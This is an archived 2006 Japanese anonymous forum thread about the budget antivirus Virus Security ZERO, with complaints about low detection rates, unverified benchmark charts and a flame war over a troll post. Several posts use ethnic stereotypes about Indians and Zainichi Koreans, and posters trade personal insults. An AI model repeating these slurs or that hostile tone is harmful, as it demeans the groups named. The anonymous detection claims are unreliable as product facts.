873 :名無しさん@お腹いっぱい。:2006/09/12(火) 08:11:02
喧嘩するなら次スレで俺が統合してやるよ

874 :名無しさん@お腹いっぱい。:2006/09/12(火) 13:33:04

                  /    /  . :   ヘ/!    \
                 //   / . /: : ∠、ム|  .    ヽ
                / ィ   .  / :/|: |: :/   ノ: 人:     ハ
                  i/ . : . | .|{‐ |=ヘ{‐'! ` =ナ左、 V:|:   .ハ
                 / | :|: : |: :八 | o ヽ|  ´ o ∨/:   i |
                |:i: : . 、 |{ ヘ! .彡 ,  ミ、  /メ|  . ハ|
                 ヽ|ヽ: : .`| .三´ _____ ̄彡'/ . ://リ
                    > .\ |ニ. 二、,二.ヽ| /: //
                      / : : ハ`` V: : : : :ン∠イ : : ヽ >アヒャヒャヒャヒャ>>873
                  / . : :/ : \ \――/ /: :|: : : . :ヽ
                   /  . : : : :ィ: > ` ̄ イ: : 、 、、: : : : .ハ
                   /  . :/i/ "´ |  ̄ | `^``゙^\:、 : . ハ
                i/ . :/    へ ノ   __ Vニ、   ヽi、:、: i
                 ハ i:/  ∠.... iく__ 彡⌒ソ   > ‐ 、 ヽi、!
                  V / ̄、 ̄\\  ∠ニ -‐_厂 ヽ.  `
                  /  |: レ  ̄ ̄` 厂| ̄,r ̄-  、: |.  i
                /   .|/     厂 | '´     V:  丶
              「 ̄ ̄`ヽ/. : : : . . /  ハ  . : : : : : . V/ ̄`ヽ
              ,ノ二二.ヽ {. : : : : : :∧ヽ/∧: : : : : : : : :} . ニニヽ
            < ̄ィ―- 、ヽV: : : : : :\//: : : : : : : : ノ//. --t、ヽ
             `7    ヽ.ハ: : : : : : : :`´|: : : : : : : : : {彡''´   |/

875 :名無しさん@お腹いっぱい。:2006/09/12(火) 13:35:02
このソフト最高かも。。。
すごく、、、インド人の。。。
匂い。。。カレー臭。。。。
不具合、、、リリースする前に。。。。
直せよ。。。無理です。。。。
そんな。。。お金ありません。。。。
だって。。。2000円なんだもん。。。。


876 :名無しさん@お腹いっぱい。:2006/09/12(火) 19:39:07
インド人のチャンドラくんによると、
日本人は、まだまだインドのことを全然しらない
戦略がないと
語っていた。

近い将来、インドに技術面でも負かされるかもしれないな・・・

877 :名無しさん@お腹いっぱい。:2006/09/12(火) 20:39:08
擁護たちの秘密の本スレを見てきた。
意外に静かでマターリとスレ進行していた。
もう
「そっとしておいてほしい」
そうだ・・・。
乱入してこれ以上の交戦も憚られるので、
この騒動は此処までとしよう。


終了!!

878 :名無しさん@お腹いっぱい。:2006/09/12(火) 20:40:58
なんか近頃,ちょこちょこアップデートが
あるようなんですが・・・?

879 :名無しさん@お腹いっぱい。:2006/09/12(火) 20:46:29
それでは、アップデート情報の報告をしてくれるかね?

880 :名無しさん@お腹いっぱい。:2006/09/12(火) 21:21:05
みんなわくわく地盤沈下

881 :名無しさん@お腹いっぱい。:2006/09/12(火) 23:18:38
アンチウイルスソフトウェアなど諸々のソフトウェアをインストールした結果
重たいのは
1位:Norton Internet Security 2006(57.78%)
2位:フォント1000個(40.00%)
3位:Kaspersky Internet Security(14.22%)
4位:Yahoo Instant Messenger 8.0(14.22%)
5位:AOL Instant Messenger 1.5 Preview(13.78%)
6位:McAfee SecurityCentre(11.56%)
7位:Kazaa 3 (+included crapware)(11.56%)
8位:Trillian 3.1 Basic(11.11%)
9位:VMWare Workstation5.5.1-19(11.11%)
10位:Microsoft Visual Studio2005 Pro.(10.22%

882 :名無しさん@お腹いっぱい。:2006/09/12(火) 23:22:56
>>878
各種アップデートとプラシーボ効果により各社比0.2倍だった実力が
最終的には0.21倍になります

883 :名無しさん@お腹いっぱい。:2006/09/12(火) 23:40:44
>>881
VPC上で計測され常駐非常駐めちゃくちゃ入り乱れの環境さえ分からない批判続出の結果を貼り付けるな

884 :アンチじゃない通りすがり:2006/09/12(火) 23:47:34
>>882
>プラシーボ効果
| ^∀^)クスクス

> 0.2倍だった実力が
> 最終的には0.21倍になります
ハハハ(≧▽≦)0.01倍カヨ!

擁護の方、ごめんなさいm( __ __ )m
だって、>>882のセンス、おもしろかったし


885 :名無しさん@お腹いっぱい。:2006/09/12(火) 23:52:35
ZEROスレが重複
削除依頼はZEROスレの方

886 :名無しさん@お腹いっぱい。:2006/09/13(水) 00:33:00
2006のスレ主、顔真っ赤にして、宣伝乙www

887 :名無しさん@お腹いっぱい。:2006/09/13(水) 00:44:53
では、こっちを今後本スレとして使うことにします!

2006スレは、個人的な感情をむき出しにして、
継続主張する変な人がいますので。

888 :名無しさん@お腹いっぱい。:2006/09/13(水) 00:46:37
オーライ

889 :名無しさん@お腹いっぱい。:2006/09/13(水) 01:13:28

 時代の流れか

驕れるものも久しからず…
2006も遂には滅びぬ 偏に風の前の塵に同じ…

いずれはVS自体滅びるんだろうけどね。どちらが先かってだけだね。

890 :名無しさん@お腹いっぱい。:2006/09/13(水) 01:30:25
今日はンースの人も工作員もゆっくりできてよかったね^^



891 :名無しさん@お腹いっぱい。:2006/09/13(水) 01:34:24
さて、寝るか・・・
  |    |    |  /
  |    |    |/|               | lllllllllll |
▲| .schindler /  |    シュレッダー      | パロマ |
▽|    |  //| |    |アイリス |       | O。O |
  |    |//  | |    |オーヤマ|       `┬┬´
  |   / |   | |  __  dellのnote /┌┘/l
_|_/   |   | |  |Mac |_  ||VS |:| _lニニニl
  /    .|   | | /___/l|:./|ニニ|l. ::.:: :: :: ::||:::.//:_,  | |  _/ ̄ ̄\_三菱
../     .|○  | |::_||_,,..,,,,||::_.U:: :: : ::::: :: [PS2]::::: ///\ \||..└-○--○-┘
 設計   .|   |/ /::/   /ヽ-、 (PSP). ::. ::: //::|\| ̄|=| |コ=   _/ ̄ ̄\_トヨタ
姉歯事務所|  /  ::.<⌒/     ヽ:: /::.◎..:...://::::|\|  |, | | 松下 └-○--○-┘
       .| /   ..:<_/____/:: / ソニーBMG :.:\.|_|,||


892 :名無しさん@お腹いっぱい。:2006/09/13(水) 03:19:53
今日買ってきてさっきアンインストールしますたノートンがはんのうしたウイルス四つ詰め合わせジップを
安全とぬかしたので即消した

893 :名無しさん@お腹いっぱい。:2006/09/13(水) 03:25:51
本当かい?

894 :名無しさん@お腹いっぱい。:2006/09/13(水) 03:47:36
ウソだとしても証明は難しい、何故なら検地しないから

895 :名無しさん@お腹いっぱい。:2006/09/13(水) 09:46:57
おいこら
スレ全然伸びてねーじゃん
つまんねーぞ!

896 :名無しさん@お腹いっぱい。:2006/09/13(水) 15:19:05
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

897 :名無しさん@お腹いっぱい。:2006/09/13(水) 17:11:43
ナンウマー

898 :名無しさん@お腹いっぱい。:2006/09/13(水) 19:02:05
古いパソコンなので、重くならずにまあまあ使えています。
2台め、3台めのガードとして活躍しています。
バスターは?というと、1台めがノートンなので、
ウイルスセキュリティでもいいかな、と思います。


899 :名無しさん@お腹いっぱい。:2006/09/13(水) 19:24:57
ウイルスセキュリティZERO 簡易ウイルス検知テストレポート
更新状況2006/09/11
http://ratan.dyndns.info/avast4/zero2006.html



900 :名無しさん@お腹いっぱい。:2006/09/13(水) 19:31:17
5ユーザーパックを買いました!
シニアSOHOなので、この関係の費用が安いと助かるんです。

901 :名無しさん@お腹いっぱい。:2006/09/13(水) 20:34:06
>>900
そこには他の低価格帯ソフトって選択肢はなかったの?

902 :名無しさん@お腹いっぱい。:2006/09/13(水) 20:35:47
>>900
おまえ>>899見てねえな。

903 :名無しさん@お腹いっぱい。:2006/09/13(水) 20:39:52
ほんとだよーコンビニで買った。

904 :名無しさん@お腹いっぱい。:2006/09/13(水) 20:42:43
>>900
シニアの方でしたら
マイクロソフト推奨がいいですよ

http://www.microsoft.com/athome/security/viruses/wsc/ja/default.mspx


905 :名無しさん@お腹いっぱい。:2006/09/13(水) 20:44:14
どこで買っても低検出だよ

906 :名無しさん@お腹いっぱい。:2006/09/13(水) 21:47:50
やっぱり、結構使っている人が、多いみたいですね


907 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:14:44
みんなわくわく安全破壊


908 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:17:56
いっそうの価格破壊に期待したい

909 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:30:21
スレ住民に発表!

ついに、VS擁護厨の本スレを発見しますた!

http://hobby7.2ch.net/test/read.cgi/appli/1153915592/


910 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:34:52
>>909
クリックする前から家電製品[携帯電話ゲー]とかもうね、知能がZEROなのかね
どちらかというと俺はアンチ側だがあまりアホな醜態さらすなよ

911 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:42:57
PC5台もってるなら素直にZERO買うわな

912 :名無しさん@お腹いっぱい。:2006/09/13(水) 22:48:13
いいぞ!能力ZERO

913 :名無しさん@お腹いっぱい。:2006/09/13(水) 23:19:53
大将!

914 :名無しさん@お腹いっぱい。:2006/09/14(木) 11:38:03
流石に>899の結果にはびっくりした
検出して削除しましました

915 :名無しさん@お腹いっぱい。:2006/09/14(木) 11:42:40
ちょっと>>899は笑えない結果だな・・・

916 :名無しさん@お腹いっぱい。:2006/09/14(木) 11:43:21
そうでもない

917 :名無しさん@お腹いっぱい。:2006/09/14(木) 11:46:21
哂うしかねーだろこれwwwww

918 :名無しさん@お腹いっぱい。:2006/09/14(木) 12:18:30
ウイルスセキュリティZEROをインストールした後
DAEMON Tools 4.03をインストールした。
そしたらXPの起動後、ウイルスセキュリティが起動するところでリセットが掛かって永久ループ・・・

前スレ見たらこの組み合わせで不具合報告が有った_| ̄|○

919 :名無しさん@お腹いっぱい。:2006/09/14(木) 12:19:43
これって検出してウィルス削除しましたって画面に表示されても
実際にはウィルス削除してないってことだよね
いいの?これって?
日本でこうゆう商売ってやってもいいの?

920 :名無しさん@お腹いっぱい。:2006/09/14(木) 12:35:22
問題ない。選ぶのは消費者

921 :名無しさん@お腹いっぱい。:2006/09/14(木) 13:01:18
不法行為を取り締まる法律創らないのは政治家と官僚
法律が在っても適用しないのが司法・行政の役人
問題無い。被害を受けるのは消費者

922 :名無しさん@お腹いっぱい。:2006/09/14(木) 15:30:48
ttp://pc8.2ch.net/test/read.cgi/sec/1067056452/
にいましたところ

「真の雑談スレはこちらです〜」
という誘い文句に釣られてやって参りました。.ミ ☆

・・・!!!ここはーーー!!!

かの有名な

「ウイルスセキュリティZERO 3年目スレ」

ではありませぬか!。从n;^ヮ^)η゚・*:.。.ミ ☆
参りました(^^;ワタクシノ負ケデゴザイマス。ミ ☆


923 :名無しさん@お腹いっぱい。:2006/09/14(木) 15:37:19
>>921
使ってもいないくせにw

924 :名無しさん@お腹いっぱい。:2006/09/14(木) 16:04:22
使っていようが使っていまいが
意見の内容は変わらない、ということさえ理解できないか

925 :名無しさん@お腹いっぱい。:2006/09/14(木) 16:05:46
怖くてつかえません;;

926 :名無しさん@お腹いっぱい。:2006/09/14(木) 16:27:48
買ったし持ってる、が使っていない
使う使わないなど二の次だ
VMwareの中には突っ込んであるが役に立ったことはない

927 :名無しさん@お腹いっぱい。:2006/09/14(木) 20:07:36
会社で、このソフトを採用した
まあ、お手並み拝見・・・というところか

928 :名無しさん@お腹いっぱい。:2006/09/14(木) 21:24:34
>>927
こんなソフト採用する会社って…安けりゃなんでもOKっていう感じ?
転職考えた方がいいんじゃない?

929 :名無しさん@お腹いっぱい。:2006/09/14(木) 22:27:31
> SOURCENEXTのウィルスセキュリティZEROをインストールしました。
> ヘルプを見ると日本語の他に中国語らしき漢字がたくさん出ますがこれは、正常な状態でしょうか?

w

930 :名無しさん@お腹いっぱい。:2006/09/14(木) 22:30:31
ZEROはインド製

931 :名無しさん@お腹いっぱい。:2006/09/14(木) 22:32:55
法人用に作られてないと明言しているソフトを法人で導入という時点でセキュリティ意識が低すぎる

932 :名無しさん@お腹いっぱい。:2006/09/14(木) 23:24:45
ウイルスセキュリティ、インストールも簡単だった。
これだけでも、フリーより良かったと思った。
やはり、初心者にはフリーは荷が重いよ・・・。

933 :名無しさん@お腹いっぱい。:2006/09/15(金) 00:05:08
インストールが簡単だったとか低レベルな行為が金を出した理由になる人間がパソコンなんか使えんのかね

934 :名無しさん@お腹いっぱい。:2006/09/15(金) 00:45:03
ノーガードの方がインストール簡単だと思うけどどうなんだろ

935 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:07:37
>>932
私は英語がさっぱり理解できません、なら分かりますが
初心者にはフリーは荷が重いというのが意味不明ですね
初心者云々は関係ありません、あなたの英語理解能力が中学生以下だったというだけの話です

936 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:30:35
ZEROを貶めるためならばユーザーへの人格攻撃をも辞さない毅然とした態度のアンチ達

937 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:37:23
>>936
人格攻撃って。。。
それは以前、あんたがアンチをみんなキチガイ扱いして
言われたセリフだろうに。。。


  余程、効いていたんだね。。。

938 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:40:59
>>937
よう、差別主義者

939 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:43:29
>>938
差別って。。。。

そんなに辛い悔しい思いをしたのかい?

940 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:43:42
>>937
見てください、この一方的な攻撃。
これこそが基地外アンチの真の正体です。

941 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:45:46
http://www4.pf-x.net/~zot/vir/Detect.html

http://ratan.dyndns.info/avast4/zero2006.html


安全破壊を願うあなたに!愛をこめて

942 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:46:48
>>940
まあ、落ち着けって。迷子のキツネリスのようだわ。

誰も虐めたりしないから、ねっ。怖がらなくてもいいんだお。


943 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:56:11
>>942様ミ ☆

。.:*・゜从n^ヮ^)η゚・*:.。.ミ ☆

わたしのことですか?
迷子のキツネリスというのは?(ビショウ

・・・スミマセン、調子にノッテシマイマシタ!><

944 :名無しさん@お腹いっぱい。:2006/09/15(金) 01:57:23
>>942
何を言い訳してるんだ?
このレイシストが。

945 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:01:11
人格攻撃って元々はこのスレで、情報、URLに
何ひとつ応えることができなかった信者が、癇癪を起こしたことから始まったんじゃないか
未だに擁護側から情報らしい情報は一切出ていないんだけど

946 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:04:09
結局売れなくなったら困るからフリーは敷居が高いと思わせたい情報操作なんだよね。
そもそも「簡単にインストールできました、これだけで買う価値があります」
こんな発言、誰がするんだよ。

947 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:04:50
差別するに足る理由がありそれは正しい行為である、と。

948 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:06:09
>>944

レイシストかぁ。ははっ
差別主義者のことなのね。勉強になりました。

まっ、別に差別しているわけでも言い訳しているわけでもないんだけどね、
そう読み取れるんだろうね。

意見の食い違いを全て差別主義に当てはめてしまうのも、どうなのかな?

ここで使うべき言葉なんでしょうかね?

949 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:07:15
インストールだけなら、どこも簡単じゃないか?

950 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:08:43
そんなことより

低検出はやめてくれ

951 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:11:22

自ら認められるような努力もせずに

自分を認めてくれない相手は

皆レイシストなんだろうね。

典型的なニート、引きこもり思考だね。

952 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:14:30
アンチの差別はよい差別。
それは聖戦なのだから。

953 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:16:03
信者はノートンとウイルスセキュリティを比較することさえ差別と言うんだろうな
その内ウイルスセキュリティの検出率が低いのは個性だとか言い出しそう

954 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:18:09
>>943

この板でこんな爽やかなレスが見れるとは。。。癒される。。。

955 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:20:07
>>953
>信者はノートンとウイルスセキュリティを比較することさえ差別と言うんだろうな
>その内ウイルスセキュリティの検出率が低いのは個性だとか言い出しそう

なんかそれって在日朝鮮人みたいだな。

956 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:27:04
すかさず在日差別へ関連付けるとは…
恐ろしき手練れよ。

957 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:34:03
みんなわくわく安全破壊

958 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:43:52
セキュリティ0は経済設計

959 :名無しさん@お腹いっぱい。:2006/09/15(金) 02:57:32
AntiVir PersonalEdition Classicはただ

960 :名無しさん@お腹いっぱい。:2006/09/15(金) 03:40:48
さっさとWinFixerに対応してくれないかな
何でこのソフトはこんなにも対応が遅いの?

961 :名無しさん@お腹いっぱい。:2006/09/15(金) 03:45:22
それにしても、アンチウイルスソフトは本来、ウイルスやトロイ、アドウェアや
スパイウェアなど、マルウェアを検出するソフトを表す。今、ライトユーザー
には「更新料ゼロ」系のソフト、VS(ウイルスセキュリティ)が人気だが、
これからはヘビーユーザーにとっての理想像も「OS対応サービス」系になる
のかもしれない。
そういえば、自らの検出力やアップデート回数に固執する右翼系のユーザーが
セキュリティ板に増えているという事実も、多少気になるところだが。


962 :名無しさん@お腹いっぱい。:2006/09/15(金) 03:57:57
>>961
すまんがどこを縦読みすればいいのか本気で分からないので正解を頼む

963 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:00:08
オンラインスキャンとか無いの?

964 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:05:23
>>961
それにしても、から始まる文が後半に繋がっておらず
唐突にVSが人気、に繋がりまったく意味のない文章になっているのが驚き。
何がそれにしてもなのかも不明。
そしていきなりそういえば、と話が変わり、検出力を性能の筆頭と考えることに
右翼系というレッテルを貼る。分裂症なのかな。

965 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:12:14
右翼系吹いたwwwwww

966 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:29:48
>>961は言語野に問題があるのかもしれないね

967 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:30:11
新作文2週間ぐらい考えたんだろ?

968 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:31:26
>>961はうんこ我慢しているのか?

969 :961:2006/09/15(金) 04:49:02
俺の書いている文章の意味が理解できない奴らって一体・・・
まともに新聞も読んだ事がないんだろうな。

970 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:51:59
面白いからもっと書けww

971 :名無しさん@お腹いっぱい。:2006/09/15(金) 04:54:39
自分でオンラインスキャンって作れないのかな

972 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:13:09
>>969
まぁバカチンに説明してやる義理もないんだが
本来の意味としては、ファイルを感染以前の状態に復帰させるソフを指すのだがな
お前のレベルに合わせてやったとしても、アンチウイルスはウイルスを検出するものであり
トロイ、アドウェア、スパイウェアなどを検出する機能は本来の意味としては含まれない
ライトユーザーに人気という根拠もなければ何を持ってしてライトというのかの説明もなし
最後の主張に至っては検出力を気にしない左翼さんですか?そっちの方が怖いね

973 :961:2006/09/15(金) 05:25:18
低脳だらけか、まあ仕方がないね。
お前達の落書きと違って俺の評論は全国紙レベルなの。
レベルが違いすぎて分からないかもしれないがな。

974 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:33:33
そんなに立派なお頭でも
低検出わかんないの?

975 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:34:38
データだよ
http://ratan.dyndns.info/avast4/zero2006.html


976 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:34:52
検出力を求めるユーザーは右翼
自分は全国紙レベル

こんなぶっ飛んだ既知外は久しぶりに見た

977 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:38:26
>>973
評論w
これ>>961が全国紙レベルの評論w
ハライタイ

978 :961:2006/09/15(金) 05:46:36
http://news19.2ch.net/test/read.cgi/newsplus/1158210299/

まあ何というか…
ムキになったマジレスしか返ってこなくてちょっと引いた。

979 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:53:54
全国紙レベルの評論(苦笑)

980 :名無しさん@お腹いっぱい。:2006/09/15(金) 05:53:57
>>978
で、結局お前、何がしたかったわけ?
精一杯荒そうとしたけど目一杯バカ扱いされたのでムカつきました、ってとこ?

981 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:01:43
>>978
誰もネタを知らないからネタばらしwwwwwwwwwwww
お前は単に自分のネタを見て欲しかっただけかwwwwwwwwwwwww
ひっでぇ釣りだなこれ、かんしゃく玉炸裂して終了とかマジ受けるwwwwwwwwwwwww

982 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:08:48
もうちょっと引っ張りたかったけどもうスレ終わっちゃうしね。
散々こっちが「改変のコピペだ」と必死にアピールしているのに
その度におまえらどんどんファビョって行くんだもん。
やるせないよ。
「改変かよw」
って笑い飛ばして欲しかったのに。
どうもここの連中は余裕がない。

983 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:18:51
>>982
心に余裕がないから下らないレスで抵抗を試みるんだよ
バカにされたのが悔しくてその反動で長文を書いてるわけ、今のお前
やるせないのはこっち。VSスレでチンパンジーの芸を見せられた気分だよ

984 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:20:59
>>983
でなんでそんなに必死なの?

985 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:38:13
>>984
必死なのはコケにされ恥を塗り替えしている>>961であるお前だろ
別に俺はなんでお前がそんなに必死なのか興味ないよ

986 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:39:48
>「改変かよw」
>って笑い飛ばして欲しかったのに。
残念でしたね、自分の思いどおりにならなくて。
ここが何のスレだか理解してる?

987 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:46:26
>>985
そのチンパンジーの芸に散々振り回されている自分についてどう思う?

988 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:49:14
>>987
空気を読めない奴はホント何やらせても駄目だな。
VSスレでいつまでも自分のネタ引っ張って遊んでんなよガキ。

989 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:51:09
>>987
別にどうも。チンパンジーの芸は見せ物だから
何でお前がチンパンジーそのもので満足してるのかは知らんが

990 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:54:12
ムキになったマジレスが返ってくるのでそろそろやめた方がいいかと。
何にせよウイルスセキュリティと関係ないどうでもいい話だ。

991 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:54:36
>>988
せっかくだから最後まで遊ぼうぜ
>>989
お前も十分見せ物の一部と化してるって
一緒にチンパンジーの芸に加わってくれてありがとう

992 :名無しさん@お腹いっぱい。:2006/09/15(金) 06:54:49
次スレ チン☆⌒ 凵\(\・∀・) まだぁ?

993 :名無しさん@お腹いっぱい。:2006/09/15(金) 07:47:05
検出力と右翼・左翼を結び付けるdでもレスが全国紙レベル

朝日があるから嘘とも言い切れない

994 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:18:30
次スレ
http://pc8.2ch.net/test/read.cgi/sec/1158279381/

995 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:33:20
http://mastdb3.mcafee.com/VirusMap3.asp?Cmd=Map&b=NS&ft=JPEG&lang=ja

996 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:36:02
996

997 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:36:33
997

998 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:37:05
998

999 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:37:29
>>991
スベったからって、人のせいにしちゃダメですよ

1000 :名無しさん@お腹いっぱい。:2006/09/15(金) 09:37:36
999

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

268 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)